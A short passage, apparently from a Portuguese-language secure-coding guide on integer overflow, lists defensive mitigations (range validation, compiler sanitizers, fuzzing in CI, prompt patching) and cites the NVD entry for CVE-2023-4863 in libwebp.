2. **Valide intervalos cedo**: rejeite qualquer valor fora do domínio do negócio antes da aritmética.
|
||||
3. **Habilite sanitizadores do compilador**: -fsanitize=integer, UBSan, Go race detector.
|
||||
4. **Adote fuzzing no CI/CD** – combine feedback de cobertura com corpora de limites.
|
||||
5. **Mantenha-se atualizado** – browser integer overflow bugs são frequentemente weaponised dentro de semanas.
|
||||
|
||||
---
|
||||
|
||||
|
||||
|
||||
## Referências
|
||||
|
||||
* [NVD CVE-2023-4863 – libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
|
Loading…
x
Reference in New Issue
Block a user